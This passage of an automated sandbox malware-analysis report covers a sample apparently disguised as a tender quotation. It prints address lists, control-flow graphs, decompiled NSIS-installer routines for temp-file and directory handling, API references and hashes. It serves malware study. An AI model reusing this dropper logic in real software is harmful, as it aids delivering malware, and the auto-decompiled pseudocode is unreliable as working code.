          0x00407489
          0x00000000
          0x00407489
          0x00407458
          0x0040745b
          0x0040745e
          0x00407461
          0x00407468
          0x004073ac
          0x004073ac
          0x004073af
          0x00000000
          0x00000000
          0x00407543
          0x00407546
          0x00000000
          0x00000000
          0x0040717d
          0x0040717f
          0x00407186
          0x00407187
          0x00407189
          0x0040718c
          0x00000000
          0x00000000
          0x00407194
          0x00407197
          0x0040719a
          0x0040719c
          0x0040719e
          0x0040719e
          0x0040719f
          0x004071a2
          0x004071a9
          0x004071ac
          0x004071ba
          0x00000000
          0x00000000
          0x00407490
          0x00407490
          0x00407493
          0x0040749a
          0x00000000
          0x00000000
          0x0040749f
          0x0040749f
          0x004074a3
          0x004075db
          0x00000000
          0x004075db
          0x004074a9
          0x004074ac
          0x004074af
          0x004074b3
          0x004074b6
          0x004074bc
          0x004074be
          0x004074be
          0x004074be
          0x004074c1
          0x004074c4
          0x004074c4
          0x004074c4
          0x004074c4
          0x004074c7
          0x004074c7
          0x004074cb
          0x0040752b
          0x0040752e
          0x00407533
          0x00407534
          0x00407536
          0x00407538
          0x0040753b
          0x00407447
          0x00407447
          0x00000000
          0x00407447
          0x004074cd
          0x004074d3
          0x004074d6
          0x004074d9
          0x004074dc
          0x004074df
          0x004074e2
          0x004074e5
          0x004074e8
          0x004074eb
          0x004074ee
          0x00407507
          0x0040750a
          0x0040750d
          0x00407510
          0x00407514
          0x00407516
          0x00407516
          0x00407517
          0x0040751a
          0x004074f0
          0x004074f0
          0x004074f8
          0x004074fd
          0x004074ff
          0x00407502
          0x00407502
          0x0040751d
          0x00407524
          0x00000000
          0x00407526
          0x00000000
          0x00407526
          0x00000000
          0x004071c2
          0x004071c5
          0x004071fb
          0x0040732b
          0x0040732b
          0x0040732b
          0x0040732b
          0x0040732e
          0x0040732e
          0x00407331
          0x00407333
          0x004075bd
          0x00000000
          0x004075bd
          0x00407339
          0x0040733c
          0x00000000
          0x00000000
          0x00407342
          0x00407346
          0x00407349
          0x00407349
          0x00407349
          0x00000000
          0x00407349
          0x004071c7
          0x004071c9
          0x004071cb
          0x004071cd
          0x004071d0
          0x004071d1
          0x004071d3
          0x004071d5
          0x004071d8
          0x004071db
          0x004071f1
          0x004071f6
          0x0040722e
          0x0040722e
          0x00407232
          0x0040725e
          0x00407260
          0x00407267
          0x0040726a
          0x0040726d
          0x0040726d
          0x00407272
          0x00407272
          0x00407274
          0x00407277
          0x0040727e
          0x00407281
          0x004072ae
          0x004072ae
          0x004072b1
          0x004072b4
          0x00407328
          0x00407328
          0x00407328
          0x00000000
          0x00407328
          0x004072b6
          0x004072bc
          0x004072bf
          0x004072c2
          0x004072c5
          0x004072c8
          0x004072cb
          0x004072ce
          0x004072d1
          0x004072d4
          0x004072d7
          0x004072f0
          0x004072f2
          0x004072f5
          0x004072f6
          0x004072f9
          0x004072fb
          0x004072fe
          0x00407300
          0x00407302
          0x00407305
          0x00407307
          0x0040730a
          0x0040730e
          0x00407310
          0x00407310
          0x00407311
          0x00407314
          0x00407317
          0x004072d9
          0x004072d9
          0x004072e1
          0x004072e6
          0x004072e8
          0x004072eb
          0x004072eb
          0x0040731a
          0x00407321
          0x004072ab
          0x004072ab
          0x004072ab
          0x004072ab
          0x00000000
          0x00407323
          0x00000000
          0x00407323
          0x00407321
          0x00407234
          0x00407237
          0x00407239
          0x0040723c
          0x0040723f
          0x00407242
          0x00407244
          0x00407247
          0x0040724a
          0x0040724a
          0x0040724d
          0x0040724d
          0x00407250
          0x00407257
          0x0040722b
          0x0040722b
          0x0040722b
          0x0040722b
          0x00000000
          0x00407259
          0x00000000
          0x00407259
          0x00407257
          0x004071dd
          0x004071e0
          0x004071e2
          0x004071e5
          0x00000000
          0x00000000
          0x00406f44
          0x00406f44
          0x00406f48
          0x0040758d
          0x00000000
          0x0040758d
          0x00406f4e
          0x00406f51
          0x00406f54
          0x00406f57
          0x00406f5a
          0x00406f5d
          0x00406f60
          0x00406f62
          0x00406f65
          0x00406f68
          0x00406f6b
          0x00406f6d
          0x00406f6d
          0x00406f6d
          0x00000000
          0x00000000
          0x004070cf
          0x004070cf
          0x004070d3
          0x00407599
          0x00000000
          0x00407599
          0x004070d9
          0x004070dc
          0x004070df
          0x004070e2
          0x004070e4
          0x004070e4
          0x004070e4
          0x004070e7
          0x004070ea
          0x004070ed
          0x004070f0
          0x004070f3
          0x004070f6
          0x004070f7
          0x004070f9
          0x004070f9
          0x004070f9
          0x004070fc
          0x004070ff
          0x00407102
          0x00407105
          0x00407105
          0x00407105
          0x00407108
          0x0040710a
          0x0040710a
          0x00000000
          0x00000000
          0x0040734c
          0x0040734c
          0x0040734c
          0x00407350
          0x00000000
          0x00000000
          0x00407356
          0x00407359
          0x0040735c
          0x0040735f
          0x00407361
          0x00407361
          0x00407361
          0x00407364
          0x00407367
          0x0040736a
          0x0040736d
          0x00407370
          0x00407373
          0x00407374
          0x00407376
          0x00407376
          0x00407376
          0x00407379
          0x0040737c
          0x0040737f
          0x00407382
          0x00407385
          0x00407389
          0x0040738b
          0x0040738e
          0x00000000
          0x00407390
          0x0040710d
          0x0040710d
          0x00000000
          0x0040710d
          0x0040738e
          0x004075c3
          0x004075e5
          0x004075eb
          0x004075ed
          0x004075f4
          0x00000000
          0x00000000
          0x00406bf2
          0x004075fa
          0x004075fa
          0x00000000

          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID:
          • String ID: OfFile
          • API String ID: 0-1415044549
          • Opcode ID: 42fe04b556333c9da529a864bcd0db0a91825228453d2ef5331aa29539740558
          • Instruction ID: 41bbaa2e3590000dceee7c9791d291245bc26db239967492cd44d063337b5de0
          • Opcode Fuzzy Hash: 42fe04b556333c9da529a864bcd0db0a91825228453d2ef5331aa29539740558
          • Instruction Fuzzy Hash: 3E814831D08228DBEF28CFA8C8447ADBBB1FF44305F14816AD856B7281D778A986DF45
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 579 403479-4034a1 GetTickCount 580 4035d1-4035d9 call 40302e 579->580 581 4034a7-4034d2 call 4035f8 SetFilePointer 579->581 586 4035db-4035df 580->586 587 4034d7-4034e9 581->587 588 4034eb 587->588 589 4034ed-4034fb call 4035e2 587->589 588->589 592 403501-40350d 589->592 593 4035c3-4035c6 589->593 594 403513-403519 592->594 593->586 595 403544-403560 call 406bb0 594->595 596 40351b-403521 594->596 602 403562-40356a 595->602 603 4035cc 595->603 596->595 597 403523-403543 call 40302e 596->597 597->595 605 40356c-403574 call 40620a 602->605 606 40358d-403593 602->606 604 4035ce-4035cf 603->604 604->586 610 403579-40357b 605->610 606->603 607 403595-403597 606->607 607->603 609 403599-4035ac 607->609 609->587 611 4035b2-4035c1 SetFilePointer 609->611 612 4035c8-4035ca 610->612 613 40357d-403589 610->613 611->580 612->604 613->594 614 40358b 613->614 614->609
          C-Code - Quality: 93%
          			E00403479(intOrPtr _a4) {
          				intOrPtr _t11;
          				signed int _t12;
          				void* _t14;
          				void* _t15;
          				long _t16;
          				void* _t18;
          				intOrPtr _t31;
          				intOrPtr _t34;
          				intOrPtr _t36;
          				void* _t37;
          				intOrPtr _t49;
          
          				_t34 =  *0x420ef4 -  *0x40ce60 + _a4;
          				 *0x42a26c = GetTickCount() + 0x1f4;
          				if(_t34 <= 0) {
          					L22:
          					E0040302E(1);
          					return 0;
          				}
          				E004035F8( *0x420f04);
          				SetFilePointer( *0x40a01c,  *0x40ce60, 0, 0); // executed
          				 *0x420f00 = _t34;
          				 *0x420ef0 = 0;
          				while(1) {
          					_t31 = 0x4000;
          					_t11 =  *0x420ef8 -  *0x420f04;
          					if(_t11 <= 0x4000) {
          						_t31 = _t11;
          					}
          					_t12 = E004035E2(0x414ef0, _t31);
          					if(_t12 == 0) {
          						break;
          					}
          					 *0x420f04 =  *0x420f04 + _t31;
          					 *0x40ce80 = 0x414ef0;
          					 *0x40ce84 = _t31;
          					L6:
          					L6:
          					if( *0x42a270 != 0 &&  *0x42a300 == 0) {
          						 *0x420ef0 =  *0x420f00 -  *0x420ef4 - _a4 +  *0x40ce60;
          						E0040302E(0);
          					}
          					 *0x40ce88 = 0x40cef0;
          					 *0x40ce8c = 0x8000; // executed
          					_t14 = E00406BB0(0x40ce68); // executed
          					if(_t14 < 0) {
          						goto L20;
          					}
          					_t36 =  *0x40ce88; // 0x40da3e
          					_t37 = _t36 - 0x40cef0;
          					if(_t37 == 0) {
          						__eflags =  *0x40ce84; // 0x0
          						if(__eflags != 0) {
          							goto L20;
          						}
          						__eflags = _t31;
          						if(_t31 == 0) {
          							goto L20;
          						}
          						L16:
          						_t16 =  *0x420ef4;
          						if(_t16 -  *0x40ce60 + _a4 > 0) {
          							continue;
          						}
          						SetFilePointer( *0x40a01c, _t16, 0, 0); // executed
          						goto L22;
          					}
          					_t18 = E0040620A( *0x40a01c, 0x40cef0, _t37); // executed
          					if(_t18 == 0) {
          						_push(0xfffffffe);
          						L21:
          						_pop(_t15);
          						return _t15;
          					}
          					 *0x40ce60 =  *0x40ce60 + _t37;
          					_t49 =  *0x40ce84; // 0x0
          					if(_t49 != 0) {
          						goto L6;
          					}
          					goto L16;
          					L20:
          					_push(0xfffffffd);
          					goto L21;
          				}
          				return _t12 | 0xffffffff;
          			}














          0x00403489
          0x0040349c
          0x004034a1
          0x004035d1
          0x004035d3
          0x00000000
          0x004035d9
          0x004034ad
          0x004034c0
          0x004034c6
          0x004034cc
          0x004034d7
          0x004034dc
          0x004034e1
          0x004034e9
          0x004034eb
          0x004034eb
          0x004034f4
          0x004034fb
          0x00000000
          0x00000000
          0x00403501
          0x00403507
          0x0040350d
          0x00000000
          0x00403513
          0x00403519
          0x00403539
          0x0040353e
          0x00403543
          0x00403549
          0x0040354f
          0x00403559
          0x00403560
          0x00000000
          0x00000000
          0x00403562
          0x00403568
          0x0040356a
          0x0040358d
          0x00403593
          0x00000000
          0x00000000
          0x00403595
          0x00403597
          0x00000000
          0x00000000
          0x00403599
          0x00403599
          0x004035ac
          0x00000000
          0x00000000
          0x004035bb
          0x00000000
          0x004035bb
          0x00403574
          0x0040357b
          0x004035c8
          0x004035ce
          0x004035ce
          0x00000000
          0x004035ce
          0x0040357d
          0x00403583
          0x00403589
          0x00000000
          0x00000000
          0x00000000
          0x004035cc
          0x004035cc
          0x00000000
          0x004035cc
          0x00000000

          APIs
          • GetTickCount.KERNEL32 ref: 0040348D
            • Part of subcall function 004035F8: SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032F6,?), ref: 00403606
          • SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,004033A3,00000004,00000000,00000000,?,?,0040331D,000000FF,00000000,00000000,?,?), ref: 004034C0
          • SetFilePointer.KERNELBASE(?,00000000,00000000,00414EF0,00004000,?,00000000,004033A3,00000004,00000000,00000000,?,?,0040331D,000000FF,00000000), ref: 004035BB
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: FilePointer$CountTick
          • String ID: OfFile
          • API String ID: 1092082344-1415044549
          • Opcode ID: 3ac154d52ea9800dffc85ef1316eb03f3be91f57b238af8bcd161a90f23d8065
          • Instruction ID: 4a0f782daef8a724a5dada35133bb9654e3c612a62d69fcdf17392b9264be50a
          • Opcode Fuzzy Hash: 3ac154d52ea9800dffc85ef1316eb03f3be91f57b238af8bcd161a90f23d8065
          • Instruction Fuzzy Hash: 3A31AEB2650205EFC7209F29EE848263BADF70475A755023BE900B22F1C7B59D42DB9D
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 615 406187-406193 616 406194-4061c8 GetTickCount GetTempFileNameW 615->616 617 4061d7-4061d9 616->617 618 4061ca-4061cc 616->618 620 4061d1-4061d4 617->620 618->616 619 4061ce 618->619 619->620
          C-Code - Quality: 100%
          			E00406187(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
          				intOrPtr _v8;
          				short _v12;
          				short _t12;
          				intOrPtr _t13;
          				signed int _t14;
          				WCHAR* _t17;
          				signed int _t19;
          				signed short _t23;
          				WCHAR* _t26;
          
          				_t26 = _a4;
          				_t23 = 0x64;
          				while(1) {
          					_t12 =  *L"nsa"; // 0x73006e
          					_t23 = _t23 - 1;
          					_v12 = _t12;
          					_t13 =  *0x40a5ac; // 0x61
          					_v8 = _t13;
          					_t14 = GetTickCount();
          					_t19 = 0x1a;
          					_v8 = _v8 + _t14 % _t19;
          					_t17 = GetTempFileNameW(_a8,  &_v12, 0, _t26); // executed
          					if(_t17 != 0) {
          						break;
          					}
          					if(_t23 != 0) {
          						continue;
          					} else {
          						 *_t26 =  *_t26 & _t23;
          					}
          					L4:
          					return _t17;
          				}
          				_t17 = _t26;
          				goto L4;
          			}












          0x0040618d
          0x00406193
          0x00406194
          0x00406194
          0x00406199
          0x0040619a
          0x0040619d
          0x004061a2
          0x004061a5
          0x004061af
          0x004061bc
          0x004061c0
          0x004061c8
          0x00000000
          0x00000000
          0x004061cc
          0x00000000
          0x004061ce
          0x004061ce
          0x004061ce
          0x004061d1
          0x004061d4
          0x004061d4
          0x004061d7
          0x00000000

          APIs
          • GetTickCount.KERNEL32 ref: 004061A5
          • GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,?,0040363E,1033,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00403923), ref: 004061C0
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: CountFileNameTempTick
          • String ID: C:\Users\user~1\AppData\Local\Temp\$nsa
          • API String ID: 1716503409-3083371207
          • Opcode ID: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
          • Instruction ID: 21b676f9b33da427d45e0b2d6905a63b6509bf3d89a4e990effff8b21c6fdcbe
          • Opcode Fuzzy Hash: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
          • Instruction Fuzzy Hash: C3F09076700214BFEB008F59DD05E9AB7BCEBA1710F11803AEE05EB180E6B0A9648768
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 621 403c25-403c34 622 403c40-403c48 621->622 623 403c36-403c39 CloseHandle 621->623 624 403c54-403c60 call 403c82 call 405d74 622->624 625 403c4a-403c4d CloseHandle 622->625 623->622 629 403c65-403c66 624->629 625->624
          C-Code - Quality: 100%
          			E00403C25() {
          				void* _t1;
          				void* _t2;
          				void* _t4;
          				signed int _t11;
          
          				_t1 =  *0x40a018; // 0xffffffff
          				if(_t1 != 0xffffffff) {
          					CloseHandle(_t1);
          					 *0x40a018 =  *0x40a018 | 0xffffffff;
          				}
          				_t2 =  *0x40a01c; // 0xffffffff
          				if(_t2 != 0xffffffff) {
          					CloseHandle(_t2);
          					 *0x40a01c =  *0x40a01c | 0xffffffff;
          					_t11 =  *0x40a01c;
          				}
          				E00403C82();
          				_t4 = E00405D74(_t11, L"C:\\Users\\FRONTD~1\\AppData\\Local\\Temp\\nscC804.tmp\\", 7); // executed
          				return _t4;
          			}







          0x00403c25
          0x00403c34
          0x00403c37
          0x00403c39
          0x00403c39
          0x00403c40
          0x00403c48
          0x00403c4b
          0x00403c4d
          0x00403c4d
          0x00403c4d
          0x00403c54
          0x00403c60
          0x00403c66

          APIs
          • CloseHandle.KERNEL32(FFFFFFFF,C:\Users\user~1\AppData\Local\Temp\,00403B71,?), ref: 00403C37
          • CloseHandle.KERNEL32(FFFFFFFF,C:\Users\user~1\AppData\Local\Temp\,00403B71,?), ref: 00403C4B
          Strings
          • C:\Users\user~1\AppData\Local\Temp\, xrefs: 00403C2A
          • C:\Users\user~1\AppData\Local\Temp\nscC804.tmp\, xrefs: 00403C5B
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: CloseHandle
          • String ID: C:\Users\user~1\AppData\Local\Temp\$C:\Users\user~1\AppData\Local\Temp\nscC804.tmp\
          • API String ID: 2962429428-3309385019
          • Opcode ID: 3450910aa3eb4a83e9339ad550daa728f038e8843dee50fd20da138f79135bda
          • Instruction ID: ab9e488bef71b432d29da19662b82269d7b8f1628316f3e3d8f7e3aa77a32ace
          • Opcode Fuzzy Hash: 3450910aa3eb4a83e9339ad550daa728f038e8843dee50fd20da138f79135bda
          • Instruction Fuzzy Hash: 3BE0863244471496E5246F7DAF4D9853B285F413357248726F178F60F0C7389A9B4A9D
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 713 4015c1-4015d5 call 402da6 call 405fe2 718 401631-401634 713->718 719 4015d7-4015ea call 405f64 713->719 721 401663-4022f6 call 401423 718->721 722 401636-401655 call 401423 call 406668 SetCurrentDirectoryW 718->722 726 401604-401607 call 405c16 719->726 727 4015ec-4015ef 719->727 736 402c2a-402c39 721->736 737 40292e-402935 721->737 722->736 739 40165b-40165e 722->739 734 40160c-40160e 726->734 727->726 731 4015f1-4015f8 call 405c33 727->731 731->726 744 4015fa-4015fd call 405b99 731->744 740 401610-401615 734->740 741 401627-40162f 734->741 737->736 739->736 745 401624 740->745 746 401617-401622 GetFileAttributesW 740->746 741->718 741->719 749 401602 744->749 745->741 746->741 746->745 749->734
          C-Code - Quality: 86%
          			E004015C1(short __ebx, void* __eflags) {
          				void* _t17;
          				int _t23;
          				void* _t25;
          				signed char _t26;
          				short _t28;
          				short _t31;
          				short* _t34;
          				void* _t36;
          
          				_t28 = __ebx;
          				 *(_t36 + 8) = E00402DA6(0xfffffff0);
          				_t17 = E00405FE2(_t16);
          				_t32 = _t17;
          				if(_t17 != __ebx) {
          					do {
          						_t34 = E00405F64(_t32, 0x5c);
          						_t31 =  *_t34;
          						 *_t34 = _t28;
          						if(_t31 != _t28) {
          							L5:
          							_t25 = E00405C16( *(_t36 + 8));
          						} else {
          							_t42 =  *((intOrPtr*)(_t36 - 0x28)) - _t28;
          							if( *((intOrPtr*)(_t36 - 0x28)) == _t28 || E00405C33(_t42) == 0) {
          								goto L5;
          							} else {
          								_t25 = E00405B99( *(_t36 + 8)); // executed
          							}
          						}
          						if(_t25 != _t28) {
          							if(_t25 != 0xb7) {
          								L9:
          								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
          							} else {
          								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
          								if((_t26 & 0x00000010) == 0) {
          									goto L9;
          								}
          							}
          						}
          						 *_t34 = _t31;
          						_t32 = _t34 + 2;
          					} while (_t31 != _t28);
          				}
          				if( *((intOrPtr*)(_t36 - 0x2c)) == _t28) {
          					_push(0xfffffff5);
          					E00401423();
          				} else {
          					E00401423(0xffffffe6);
          					E00406668(L"C:\\Users\\FRONTD~1\\AppData\\Local\\Temp",  *(_t36 + 8));
          					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
          					if(_t23 == 0) {
          						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
          					}
          				}
          				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t36 - 4));
          				return 0;
          			}











          0x004015c1
          0x004015c9
          0x004015cc
          0x004015d1
          0x004015d5
          0x004015d7
          0x004015df
          0x004015e1
          0x004015e4
          0x004015ea
          0x00401604
          0x00401607
          0x004015ec
          0x004015ec
          0x004015ef
          0x00000000
          0x004015fa
          0x004015fd
          0x004015fd
          0x004015ef
          0x0040160e
          0x00401615
          0x00401624
          0x00401624
          0x00401617
          0x0040161a
          0x00401622
          0x00000000
          0x00000000
          0x00401622
          0x00401615
          0x00401627
          0x0040162b
          0x0040162c
          0x004015d7
          0x00401634
          0x00401663
          0x004022f1
          0x00401636
          0x00401638
          0x00401645
          0x0040164d
          0x00401655
          0x0040165b
          0x0040165b
          0x00401655
          0x00402c2d
          0x00402c39

          APIs
            • Part of subcall function 00405FE2: CharNextW.USER32(?,?,00425F50,?,00406056,00425F50,00425F50,772EFAA0,?,772EF560,00405D94,?,772EFAA0,772EF560,00000000), ref: 00405FF0
            • Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 00405FF5
            • Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 0040600D
          • GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A
            • Part of subcall function 00405B99: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\), ref: 00405BDC
          • SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user~1\AppData\Local\Temp,?,00000000,000000F0), ref: 0040164D
          Strings
          • C:\Users\user~1\AppData\Local\Temp, xrefs: 00401640
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: CharNext$Directory$AttributesCreateCurrentFile
          • String ID: C:\Users\user~1\AppData\Local\Temp
          • API String ID: 1892508949-3107243751
          • Opcode ID: 5100f8edfc5c73fcce05ecfe13f7e88f84c01c09c33b7a9b27ef58f2b5b0e964
          • Instruction ID: a0118e7b9b939ef3ea3e51add98df8039a5aa70d3b8e99a19be4f9c31e9f39fe
          • Opcode Fuzzy Hash: 5100f8edfc5c73fcce05ecfe13f7e88f84c01c09c33b7a9b27ef58f2b5b0e964
          • Instruction Fuzzy Hash: 04112231508105EBCF30AFA0CD4099E36A0EF15329B28493BF901B22F1DB3E4982DB5E
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 750 40603f-40605a call 406668 call 405fe2 755 406060-40606d call 4068ef 750->755 756 40605c-40605e 750->756 760 40607d-406081 755->760 761 40606f-406075 755->761 757 4060b8-4060ba 756->757 763 406097-4060a0 lstrlenW 760->763 761->756 762 406077-40607b 761->762 762->756 762->760 764 4060a2-4060b6 call 405f37 GetFileAttributesW 763->764 765 406083-40608a call 40699e 763->765 764->757 770 406091-406092 call 405f83 765->770 771 40608c-40608f 765->771 770->763 771->756 771->770
          C-Code - Quality: 53%
          			E0040603F(void* __eflags, intOrPtr _a4) {
          				int _t11;
          				signed char* _t12;
          				long _t16;
          				intOrPtr _t18;
          				intOrPtr* _t21;
          				signed int _t23;
          
          				E00406668(0x425f50, _a4);
          				_t21 = E00405FE2(0x425f50);
          				if(_t21 != 0) {
          					E004068EF(_t21);
          					if(( *0x42a278 & 0x00000080) == 0) {
          						L5:
          						_t23 = _t21 - 0x425f50 >> 1;
          						while(1) {
          							_t11 = lstrlenW(0x425f50);
          							_push(0x425f50);
          							if(_t11 <= _t23) {
          								break;
          							}
          							_t12 = E0040699E();
          							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
          								E00405F83(0x425f50);
          								continue;
          							} else {
          								goto L1;
          							}
          						}
          						E00405F37();
          						_t16 = GetFileAttributesW(??); // executed
          						return 0 | _t16 != 0xffffffff;
          					}
          					_t18 =  *_t21;
          					if(_t18 == 0 || _t18 == 0x5c) {
          						goto L1;
          					} else {
          						goto L5;
          					}
          				}
          				L1:
          				return 0;
          			}









          0x0040604b
          0x00406056
          0x0040605a
          0x00406061
          0x0040606d
          0x0040607d
          0x0040607f
          0x00406097
          0x00406098
          0x0040609f
          0x004060a0
          0x00000000
          0x00000000
          0x00406083
          0x0040608a
          0x00406092
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x0040608a
          0x004060a2
          0x004060a8
          0x00000000
          0x004060b6
          0x0040606f
          0x00406075
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00406075
          0x0040605c
          0x00000000

          APIs
            • Part of subcall function 00406668: lstrcpynW.KERNEL32(?,?,00000400,004037B0,00429260,NSIS Error), ref: 00406675
            • Part of subcall function 00405FE2: CharNextW.USER32(?,?,00425F50,?,00406056,00425F50,00425F50,772EFAA0,?,772EF560,00405D94,?,772EFAA0,772EF560,00000000), ref: 00405FF0
            • Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 00405FF5
            • Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 0040600D
          • lstrlenW.KERNEL32(00425F50,00000000,00425F50,00425F50,772EFAA0,?,772EF560,00405D94,?,772EFAA0,772EF560,00000000), ref: 00406098
          • GetFileAttributesW.KERNELBASE(00425F50,00425F50,00425F50,00425F50,00425F50,00425F50,00000000,00425F50,00425F50,772EFAA0,?,772EF560,00405D94,?,772EFAA0,772EF560), ref: 004060A8
          Strings
          Memory Dump Source
